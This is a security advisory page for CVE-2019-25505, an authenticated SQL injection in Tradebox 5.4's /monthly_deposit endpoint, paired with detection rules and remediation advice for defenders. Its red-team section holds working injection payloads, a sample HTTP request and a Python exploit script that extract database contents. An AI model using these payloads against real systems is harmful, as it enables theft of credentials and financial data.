CVE-2019-25505
Executive Summary
CVE-2019-25505 is a critical SQL injection vulnerability in Tradebox 5.4, an inventory and order management application. An authenticated attacker can inject arbitrary SQL commands via the symbol parameter in POST requests to the /monthly_deposit endpoint. This allows extraction of the entire database, including user credentials, financial records, and other sensitive data. The vulnerability is unpatched, and no official fix exists. Given the authenticated requirement, the attack surface is limited to internal users or compromised accounts, but the impact is severe.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Tradebox is a proprietary .NET application. No open-source package or supply chain component is directly affected. However, the lack of a patch means organizations must rely on compensating controls.
CVSS Breakdown & Threat Level
- CVSS Score: 9.9 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. Exploitation is straightforward with publicly available techniques. The lack of a patch makes every instance of Tradebox 5.4 a permanent risk.
Deep Dive & Mechanics
The vulnerability resides in the monthly_deposit endpoint. The symbol parameter is directly concatenated into a SQL query without sanitization or parameterization. The application uses a Microsoft SQL Server backend.
Vulnerable Code Snippet (Conceptual):
string query = "SELECT * FROM deposits WHERE symbol = '" + symbol + "'";
SqlCommand cmd = new SqlCommand(query, connection);
An attacker can inject SQL by providing a crafted symbol value. For example:
- Boolean-based blind:
' OR 1=1 -- - Time-based blind:
' WAITFOR DELAY '0:0:5' -- - Error-based:
' AND 1=CONVERT(int, @@version) -- - Union-based:
' UNION SELECT null,username,password,null FROM users --
The attacker can enumerate tables, columns, and data row by row using blind techniques, or extract large datasets quickly with union queries.
Vulnerable vs. Patched Code
Vulnerable Code (C#):
string symbol = Request.Form["symbol"];
string query = "SELECT * FROM deposits WHERE symbol = '" + symbol + "'";
SqlCommand cmd = new SqlCommand(query, connection);
Patched Code (Parameterized Query):
string symbol = Request.Form["symbol"];
string query = "SELECT * FROM deposits WHERE symbol = @symbol";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@symbol", symbol);
No official patch exists. The above is the recommended fix.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy Tradebox 5.4 on a Windows Server with IIS and SQL Server.
- Create a test user account with minimal privileges.
- Use Burp Suite or a Python script to interact with the
/monthly_depositendpoint.
Exploitation Steps:
- Authenticate and obtain a session cookie.
- Send a POST request to
/monthly_depositwith a malicioussymbolparameter.
Example Payload (Union-based):
POST /monthly_deposit HTTP/1.1
Host: target.com
Cookie: ASP.NET_SessionId=abc123
Content-Type: application/x-www-form-urlencoded
symbol=' UNION SELECT null,table_name,null,null FROM information_schema.tables --
Python Exploit Script:
import requests
target = "http://target.com/monthly_deposit"
cookies = {"ASP.NET_SessionId": "abc123"}
# Boolean-based blind extraction
payload = "' OR (SELECT COUNT(*) FROM users) > 0 --"
data = {"symbol": payload}
r = requests.post(target, cookies=cookies, data=data)
if "deposit" in r.text:
print("Condition true")
Blue Team
Detection:
- Monitor for POST requests to
/monthly_depositcontaining SQL keywords (SELECT,UNION,WAITFOR,OR 1=1,--). - Alert on unusual response times (time-based blind).
- Log all database errors returned to the client.
Hunting:
- Search IIS logs for
monthly_depositwith parameters containing single quotes or SQL keywords. - Correlate with database audit logs showing unexpected queries.
Indicators of Compromise (IOCs)
- Network: POST requests to
/monthly_depositwithsymbolparameter containing SQL keywords. - Logs: IIS logs showing
monthly_depositwithsymbol=' OR 1=1 --. - Database: Queries like
SELECT * FROM deposits WHERE symbol = '' OR 1=1 --'. - File: No specific file IOCs.
Detection Engineering
YARA Rule
rule CVE_2019_25505_SQLi {
meta:
description = "Detects SQL injection attempts against Tradebox monthly_deposit endpoint"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "monthly_deposit" nocase
$s2 = "symbol=" nocase
$s3 = "' OR " nocase
$s4 = "' UNION " nocase
$s5 = "WAITFOR" nocase
condition:
all of ($s1, $s2) and any of ($s3, $s4, $s5)
}
Sigma Rule
title: Tradebox SQL Injection via symbol Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Tradebox monthly_deposit endpoint
author: Valters IT
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-stem: '/monthly_deposit'
cs-uri-query|contains: 'symbol='
keywords:
- "' OR "
- "' UNION "
- "WAITFOR"
- "1=1"
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in symbol names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25505 Tradebox SQL Injection"; flow:to_server,established; content:"POST"; http_method; content:"/monthly_deposit"; http_uri; content:"symbol="; http_client_body; pcre:"/(\x27\s*OR|\x27\s*UNION|WAITFOR)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Tradebox 5.4 from the internet and untrusted networks.
- Apply WAF rules to block SQL injection patterns in the
symbolparameter. - Restrict access to the
/monthly_depositendpoint to trusted IPs only.
Long-term:
- Upgrade to a patched version if available (contact vendor).
- Rewrite the application to use parameterized queries.
- Conduct a full security audit of the application.
Compensating Controls:
- Enable detailed logging and monitoring.
- Implement database activity monitoring.
- Use a reverse proxy with SQL injection detection.
Valters IT